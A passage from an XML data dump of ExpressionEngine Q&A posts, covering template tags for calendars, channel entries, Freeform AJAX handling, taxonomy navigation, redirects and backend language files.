over.  I just need it to display cleaner.&lt;/p&gt;&#xA;" OwnerUserId="6534" LastActivityDate="2016-05-23T23:42:17.540" Title="Solspace Calendar displaying a list of events and their individual occurrences" Tags="|solspace|calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32505" PostTypeId="1" CreationDate="2015-08-03T08:13:20.760" Score="0" ViewCount="42" Body="&lt;p&gt;I search how to have a entry with multiple pages if the product created has multiples colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, i work on a product website and my client want to have the possibility to define a product in different color but he wants one channel in admin but several pages in front-end. And in search system, he wants to find only one product :-(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a possibility (module, add-on, custom field) to have a system in admin when it's activate it's create multiple pages but with only one channel. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone'll understand what i try to do :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6510" LastEditorUserId="182" LastEditDate="2015-08-03T14:20:42.850" LastActivityDate="2015-09-02T14:44:57.710" Title="Single entry with multiples pages" Tags="|entry|pages|multiple-channels|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32506" PostTypeId="2" ParentId="32504" CreationDate="2015-08-03T09:15:46.023" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;VERY recommended initial reading&lt;/strong&gt; on Calendar tag use: &lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/getting_started/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're looking to display an event, then display all its occurrences, then move to the next event, display all its occurrences, etc, then you should try &lt;code&gt;{exp:calendar:events}&lt;/code&gt; with either &lt;code&gt;{occurrences}...{/occurrences}&lt;/code&gt; or &lt;code&gt;{exp:calendar:occurrences}...{/exp:calendar:occurrences}&lt;/code&gt; inside the &lt;code&gt;{exp:calendar:events}&lt;/code&gt; tag pair. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events /* your parameters */}&#xA;    &amp;lt;h2&amp;gt;{event_title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;p&amp;gt;This event happens on these days&amp;lt;/p&amp;gt;&#xA;    {occurrences}&#xA;       {!-- Could use {exp:calendar:occurrences} as an alternative --}&#xA;       ... your occurrence code ...&#xA;    {/occurrences}&#xA;{/exp:calendar:events /* your parameters */}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Keep in mind that this does not create a chronological list of events&lt;/strong&gt;, since occurrences will be listed one event after another, and therefore will not overlap if they overlap over time. &lt;a href=&quot;https://solspace.com/docs/calendar/getting_started/&quot; rel=&quot;nofollow&quot;&gt;See the above link (and image)&lt;/a&gt; for some more detailed explanations why.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a &lt;strong&gt;chronological listing of event occurrences&lt;/strong&gt;, in which event occurrences for each day, or on a specified day, are displayed chronologically, use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. This is the tag to use if you're looking for occurrences within a specific time frame. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;Event occurrences on August 3rd, 2015&amp;lt;/h2&amp;gt;&#xA;{exp:calendar:cal &#xA;   date_range_start=&quot;2015-08-03&quot;&#xA;   date_range_end=&quot;2015-08-03&quot;&#xA;   pad_short_weeks=&quot;n&quot;}&#xA;    {event_title}: {event_start_date format=&quot;%Y-%m-%d %H:%i&quot;} ~ {event_end_date format=&quot;%Y-%m-%d %H:%i&quot;}&amp;lt;br /&amp;gt;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-03T09:15:46.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32507" PostTypeId="1" AcceptedAnswerId="32510" CreationDate="2015-08-03T10:11:24.830" Score="0" ViewCount="40" Body="&lt;p&gt;I've got a client who is reporting that unwanted dynamic URLs for static pages are appearing in Google Webmaster Tools. This means that content is being duplicated as far as Google in concerned. How would these dynamic URLs get created (if not deliberately), and how can I prevent this happening again? &lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-08-03T14:03:20.533" Title="Unwanted dynamic URLs appearing" Tags="|pages|dynamic|seo|duplicate|google-webmaster-tools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32508" PostTypeId="1" CreationDate="2015-08-03T10:47:25.447" Score="0" ViewCount="845" Body="&lt;p&gt;I have created a basic submission form using expression engine's plugin free form. From the CMS side of things my data is being submitted into the EE CMS. However after i have submitted my details, rather than receiving a success message i receive the following message on my form &lt;code&gt;object object&lt;/code&gt;. &lt;code&gt;&amp;lt;div id=&quot;form-messages&quot; class=&quot;success&quot;&amp;gt;[object Object]&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming this has something to do with my jquery As the function was working when i was validating the submission through php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a snippet of my code. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var form = $('#ajax-contact');&#xA;var formMessages = $('#form-messages');&#xA;&#xA;$(form).submit(function(e) {&#xA;&#xA;e.preventDefault();&#xA;var formData = $(form).serialize();&#xA;&#xA;// Submit the form using AJAX.&#xA;$.ajax({&#xA;    type: 'POST',&#xA;    url: $(form).attr('action'),&#xA;    data: formData&#xA;})&#xA;.done(function(response) {&#xA;    //  formMessages div has the 'success' class.&#xA;    $(formMessages).removeClass('error');&#xA;    $(formMessages).addClass('success');&#xA;&#xA;    // Set the message text.&#xA;    $(formMessages).text(response);&#xA;&#xA;    // Clear the form.&#xA;    $('#name').val('');&#xA;    $('#email').val('');&#xA;})&#xA;.fail(function(data) {&#xA;    // Make sure that the formMessages div has the 'error' class.&#xA;    $(formMessages).removeClass('success');&#xA;    $(formMessages).addClass('error');&#xA;&#xA;    // Set the message text.&#xA;    if (data.responseText !== '') {&#xA;        $(formMessages).text(data.responseText);&#xA;    } else {&#xA;        $(formMessages).text('Oops! An error occured and your message could not be sent.');&#xA;    }&#xA;});&#xA;&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML &#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;exp:freeform:form &#xA;            form_id=&quot;1&quot;&#xA;            admin_notify=&quot;me@email.com&quot;&#xA;            form:class=&quot;main-contact submit-fade ajax-form&quot;&#xA;            form:id=&quot;ajax-contact&quot;&#xA;&#xA;&#xA;        }&#xA;&#xA;            &amp;lt;ul class=&quot;small-block-grid-2 medium-block-grid-2 hide-form&quot;&amp;gt;&#xA;               &amp;lt;li&amp;gt;&#xA;                  &amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;                  {freeform:field:first_name&#xA;                      attr:class=&quot;form-control&quot; &#xA;                      attr:placeholder=&quot;First Name&quot; &#xA;                      attr:class=&quot;required&quot;&#xA;                  }&#xA;&#xA;                &amp;lt;/li&amp;gt;&#xA;&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;label for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;                  {freeform:field:email&#xA;                      attr:class=&quot;form-control&quot; &#xA;                      attr:placeholder=&quot;Email&quot; &#xA;                      attr:class=&quot;required&quot;&#xA;                  }&#xA;                 &amp;lt;/li&amp;gt;&#xA;              &amp;lt;/ul&amp;gt;&#xA;              &amp;lt;input type=&quot;submit&quot; class=&quot;btn btn-success&quot;&amp;gt;&#xA;&#xA;        {/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="459" LastActivityDate="2015-08-03T17:14:54.830" Title="Jquery Freeform AJAX submission form error" Tags="|solspace-freeform|jquery|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32509" PostTypeId="1" CreationDate="2015-08-03T13:48:19.427" Score="0" ViewCount="51" Body="&lt;p&gt;I have a site where Channel Images' Upload works and images are displayed but Import simply hangs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Channel Images is generating long randomly-named directories in the site's home directory and saving images there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the settings seem correct and everything passes with Test Location in Upload Location Settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anybody seen this before?&lt;/p&gt;&#xA;" OwnerUserId="1312" LastActivityDate="2016-06-14T15:37:28.427" Title="Channel Images import hangs" Tags="|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32510" PostTypeId="2" ParentId="32507" CreationDate="2015-08-03T14:03:20.533" Score="0" Body="&lt;p&gt;Assuming you've eliminated any links that are being generated by your templates, the bad URLs could come from old Google results, external links, user bookmarks, sent emails, anything really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to attack this from two routes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Adding 301-redirects for old URIs. &lt;a href=&quot;https://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detour Pro&lt;/a&gt; add-on is the best way to manage these, otherwise you end up with a very long, ugly, hard-to-debug htaccess file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensuring that requests for non-existent URIs return a 404 header. You can do this with conditionals using EE's &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#redirect&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;redirect&lt;/code&gt;&lt;/a&gt; tag and the &lt;code&gt;channel entries&lt;/code&gt; tag's &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#if-no-results&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;no_results&lt;/code&gt;&lt;/a&gt; variable and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#require-entry&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;require_entry&lt;/code&gt;&lt;/a&gt; parameter. This can get fiddly depending on your tag nesting, but many third-party add-ons supply their own &lt;code&gt;prefix&lt;/code&gt; parameter or similar that allows them to use their own &lt;code&gt;no_results&lt;/code&gt; variable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's another answer with a good overview: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/790/strange-urls-appeared-in-webmaster-tools?rq=1&quot;&gt;Strange URLs appeared in Webmaster tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2015-08-03T14:03:20.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32511" PostTypeId="1" CreationDate="2015-08-03T14:03:50.667" Score="0" ViewCount="56" Body="&lt;p&gt;I am intending to have a separate section of a hugh(000's threads) discussion forum for my website but have a dilemma.  Either I purchase/free download a non-ee reputable forum software such as 'ip.board review'/'phpbb', or to purchase EE Discussion Forum v3.x and improve it with devot-ee's 'Scaffold'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 1: I should be needing with most/all of the advanced features of non-ee software mentioned but I will loose the smooth integration my ee-developed website.  e.g. A member may have to logon to ee-developed website and forum separatly.  This is not what I want to see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option 2(preferred): Stick with ee + devot-ee solution, this is a full integration of website and forum.  But I worry the ee forum features will not be as competitive as a non-ee solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please someone shine me some lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&#xA;donnie&lt;/p&gt;&#xA;" OwnerUserId="6537" LastActivityDate="2015-08-05T13:39:33.297" Title="ee forum + Scaffold vs non-ee forum software" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32512" PostTypeId="2" ParentId="32505" CreationDate="2015-08-03T14:20:27.257" Score="1" Body="&lt;p&gt;This is perfectly feasible in EE without any add-ons. Since EE doesn't really have a concept of pages, a single channel entry can appear at multiple URIs no problem - You'll just need to use some logic in your template to show the right entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of different ways to approach this, but let's say you want your URIs to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/products/widget-A/in/blue&#xA;/products/widget-A/in/red&#xA;/products/widget-B/in/blue&#xA;/products/widget-B/in/red&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could use a category or custom field to define the colours and then pipe the values through to a channel entries query. For example, with categories, your &lt;code&gt;products/index&lt;/code&gt; template could look a bit like this (also using &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; to get the cat ID here):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;products&quot;&#xA;    disable=&quot;member_data|pagination&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    category=&quot;{segment_4_category_id}&quot;&#xA;    url_title=&quot;{segment_2}&quot;&#xA;    limit=&quot;1&quot;&#xA;}&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do the same thing with a custom field, such as checkboxes or radio buttons and the &lt;code&gt;search&lt;/code&gt; parameter. Just be a little bit careful that you don't pipe URI segments directly into a channel entries tag as this could be a (minor) security risk (exposing private entries etc if you're not careful). I would usually use Stash to pre-screen/normalise any incoming segments to prevent this.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2015-08-03T14:20:27.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32515" PostTypeId="2" ParentId="32508" CreationDate="2015-08-03T17:14:54.830" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;By default, Freeform auto-detects if you are using AJAX for the form submission. AJAX requests will return errors and success mesages in JSON. If you wish to disable this, specify a value of no.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a JSON object you're getting back, buddy. Can't just dump it, you have to parse it somehow. Start by replacing this line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(formMessages).text(response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;console.log(response);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and open your developer console after a test submission. Then investigate the JSON object and figure out what you're looking to dump. It's probably something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(formMessages).text(response.msg);&#xA;// or&#xA;$(formMessages).text(response.error);&#xA;//// or &#xA;$(formMessages).text(response.im_a_json_object);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-03T17:14:54.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32516" PostTypeId="2" ParentId="32503" CreationDate="2015-08-03T17:57:50.473" Score="0" Body="&lt;p&gt;This is a &lt;strong&gt;stylesheet&lt;/strong&gt; issue. To actually help you with this, we'll need to override your current stylesheet rules; basically, the WYGWAM table is inheriting styles from rule sheets included after WYGWAM rules that are probably running with an &lt;code&gt;!important&lt;/code&gt; override. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Firefox or Chrome, right click on your table, and there should be an option to &lt;code&gt;Inspect Element&lt;/code&gt;. Look at your table elements (table &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;, table row &lt;code&gt;&amp;lt;tr&amp;gt;&lt;/code&gt;, table cell &lt;code&gt;&amp;lt;td&amp;gt;&lt;/code&gt;), and tell us what style rules are being applied, and from what rule sheets.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-03T17:57:50.473" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32518" PostTypeId="1" CreationDate="2015-08-03T15:34:14.553" Score="0" ViewCount="50" Body="&lt;p&gt;Question is related to using ExpressionEngine version 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to build a page which lists PDF catalogues belonging to a particular brand. Brands are unique, but each brand may have 1 or more catalogues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up in EE is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each brand name has been entered under Channel Administration &gt; Categories.&lt;/li&gt;&#xA;&lt;li&gt;There are channels called 'Brand' and 'Catalogue'.&lt;/li&gt;&#xA;&lt;li&gt;When a channel entry is made under 'Brand' it is assigned to the appropriate brand category - using the Categories tab when making the channel entry. The same applies when making channel entries under 'Catalogue', i.e. they are also assigned to the appropriate brand category.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Template starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;brands&quot;}&#xA;...&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I've put [...] I want to retrieve anything in the 'Catalogue' channel which has been assigned to the appropriate brand category ID. I can read the brand category ID like this but not sure what to do next:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}{category_id} {/categories} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After this I'm stuck because I can't use another &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag inside an existing one, unless I'm wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated. I had a look at solutions which use custom queries, e.g. by using &lt;code&gt;{exp:query sql=&quot;&lt;/code&gt; but that doesn't seem right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify why I am starting by looping through the &quot;brands&quot; channel: the markup for the page requires a lot of other information about the brand to be output by the template.&lt;/p&gt;&#xA;" OwnerDisplayName="Andy F" LastEditorUserId="7705" LastEditDate="2018-09-05T05:52:10.783" LastActivityDate="2018-09-05T05:52:10.783" Title="Reading from multiple channels by category ID in ExpressionEngine" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32519" PostTypeId="1" CreationDate="2015-08-03T15:45:52.310" Score="0" ViewCount="40" Body="&lt;p&gt;I'm very new to EE but I can't seem to find how to check if the following is returning empty nodes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:nav tree_id=&quot;1&quot; display_root=&quot;no&quot; ul_css_class=&quot;clearfix&quot;  root_node_entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;a href=&quot;{node_url}&quot;&amp;gt;{node_title}&amp;lt;/a&amp;gt;&#xA;{/exp:taxonomy:nav}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm doing this because I have a toggle button for the menu but I want to hide it if there are no children nodes for the current page.&lt;/p&gt;&#xA;" OwnerUserId="6539" OwnerDisplayName="Lily" LastEditorUserId="6539" LastEditDate="2015-08-04T14:28:34.730" LastActivityDate="2016-06-16T20:24:48.610" Title="ExpressionEngine: check if taxonomy is empty" Tags="|taxonomy|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32520" PostTypeId="2" ParentId="32518" CreationDate="2015-08-04T00:35:01.787" Score="0" Body="&lt;p&gt;You literally can use a {exp:channel:entries} loop inside of another one using template embeds. Here is an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;brands&quot;}&#xA;&#xA;    {categories}&#xA;&#xA;        {embed=&quot;embeds/my_embed&quot; cat_id=&quot;{category_id}&quot;}&#xA;&#xA;    {/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then, you have a template group (you'll have to make it) called embeds with a my_embed template with contents like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;{embed:cat_id}&quot;}&#xA;&#xA;    Product Name - {title}&#xA;    etc...&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2018-09-05T04:40:14.843" LastActivityDate="2018-09-05T04:40:14.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32521" PostTypeId="2" ParentId="32519" CreationDate="2015-08-04T00:41:39.497" Score="0" Body="&lt;p&gt;I don't know that addon at all, but have you tried a few simple conditionals? Ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:taxonomy:nav tree_id=&quot;1&quot; display_root=&quot;no&quot; ul_css_class=&quot;clearfix&quot;  root_node_entry_id=&quot;{entry_id}&quot;}&#xA;&#xA;    {if node_title != &quot;&quot; || node_id != &quot;&quot;}&#xA;&#xA;        &amp;lt;a href=&quot;{node_url}&quot;&amp;gt;{node_title}&amp;lt;/a&amp;gt;&#xA;&#xA;    {if:else}&#xA;&#xA;        &amp;lt;!-- empty node! --&amp;gt;&#xA;&#xA;    {/if}&#xA;&#xA;{/exp:taxonomy:nav}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-04T00:41:39.497" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32522" PostTypeId="1" CreationDate="2015-08-04T00:49:43.690" Score="0" ViewCount="35" Body="&lt;p&gt;This is a basic general question, but my site always redirects to the home landing page even when I click the links it redirects.  So thissite.com/link1 shows in the URL input, but the home page still shows.&lt;/p&gt;&#xA;" OwnerUserId="6306" LastActivityDate="2016-06-07T20:00:37.353" Title="Page Always Redirects to Home" Tags="|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32523" PostTypeId="2" ParentId="32522" CreationDate="2015-08-04T01:18:29.100" Score="0" Body="&lt;p&gt;? You probably have a segment related issue; EE is probably expecting a {segment_1} to look up channel entries from, and just defaults to something else. You might want to set your templates to require all segments. Can you post your template code and some more details? Are you using Structure or the Pages module??&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-04T01:18:29.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32525" PostTypeId="1" AcceptedAnswerId="32528" CreationDate="2015-08-04T10:50:30.710" Score="0" ViewCount="66" Body="&lt;p&gt;Is there a conditional for {exp:low_events:calendar} for passed days, so for example if the day is in the past add a class?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if passed}class=&quot;passed&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-08-04T12:40:58.930" Title="Low events Calendar conditional" Tags="|low-events|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32526" PostTypeId="2" ParentId="32525" CreationDate="2015-08-04T11:13:53.033" Score="0" Body="&lt;p&gt;Cheif, you should peruse your third-party vendors a little more carefully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-nice-date/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-nice-date/docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date:range from=&quot;{date_one}&quot; to=&quot;{date_two}&quot;}&#xA;    {if days == 0}&#xA;        The two dates are on the same day&#xA;    {if:else}&#xA;        The two dates span {days} days&#xA;    {/if}&#xA;{/exp:low_nice_date:range}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That one is completely free, and since it's the same vendor, seems like it should be about 100% compatible with Low Events.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-04T12:40:58.930" LastActivityDate="2015-08-04T12:40:58.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32528" PostTypeId="2" ParentId="32525" CreationDate="2015-08-04T12:25:57.937" Score="1" Body="&lt;p&gt;jrothafer, you're thinking of Low Events, not Low Calendar (which doesn't exist). Should be no reason to bring Low Nice Date into things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{if passed}&lt;/code&gt; conditional is not supported in the low_events:calendar tag. But you might be able to compose a conditional using the &lt;code&gt;{day_url}&lt;/code&gt; and &lt;code&gt;{current_date}&lt;/code&gt; variables.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-08-04T12:25:57.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32529" PostTypeId="1" AcceptedAnswerId="32530" CreationDate="2015-08-04T17:51:07.420" Score="0" ViewCount="21" Body="&lt;p&gt;After having a 3rd party company upgrade us to 2.10.1, we have a couple nagging issues. A couple of the nav menus in the backend have items that are underscored descriptions, instead of menu items. Where do I fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SA2Bo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SA2Bo.png&quot; alt=&quot;I want to change nav_template_route_manager&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing for the label for the user and password, when the system logs me out, its something like password_label, instead of Enter Password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried to Google this but only got results for front end UX.&lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2015-08-04T18:07:53.573" Title="Menus in backend" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32530" PostTypeId="2" ParentId="32529" CreationDate="2015-08-04T17:57:54.493" Score="0" Body="&lt;p&gt;This occurs because you are missing language files or they are corrupt. That language variable lives here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/your_web_root/system/expressionengine/language/english/cp_lang.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That file has an array of language variables. Look for that one, if it's missing, the file is probably corrupt and you should get a new copy of that entire directory and re-upload it. Before you do, though, &lt;strong&gt;back up that folder&lt;/strong&gt;. Always back-up before modifying core files and directories, although those are just language files so it's not likely you will crash your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, also, why are &lt;strong&gt;you&lt;/strong&gt; fixing this? Your 3rd party company must be really awful if they aren't willing to look into this, especially since this is clearly their mistake.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-04T18:07:53.573" LastActivityDate="2015-08-04T18:07:53.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32531" PostTypeId="1" CreationDate="2015-08-04T18:50:24.560" Score="0" ViewCount="47" Body="&lt;p&gt;Hi I'm just wondering if this is a bug or not. When you add an item with inventory to an order in the admin panel, the stock does not reduce, which I believe it should. We have to go back into the product and manually reduce the stock qty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know&lt;/p&gt;&#xA;" OwnerUserId="6305" LastActivityDate="2016-06-10T20:04:31.620" Title="expresso-store : add item to order backend doesn't decrease stock" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32532" PostTypeId="1" CreationDate="2015-08-04T22:28:27.437" Score="1" ViewCount="311" Body="&lt;p&gt;I'm looking at the best way to remove the dreaded &quot;thank you, you are now logged in&quot; page after login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Solspace User to manage user accounts and for registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the NSM Email Login to allow user's to login with their email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already tried to use Twomile Login Redirect to remove this screen but it won't work as we have MySQL in &quot;strict&quot; mode due a Solspace User requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other thing I see is FreeMember but due to already using two other add ons I don't want to go and cause issues with those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2015-08-05T16:34:05.130" Title="How can I remove &quot;thank you&quot; page after login" Tags="|members|login|solspace-user|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
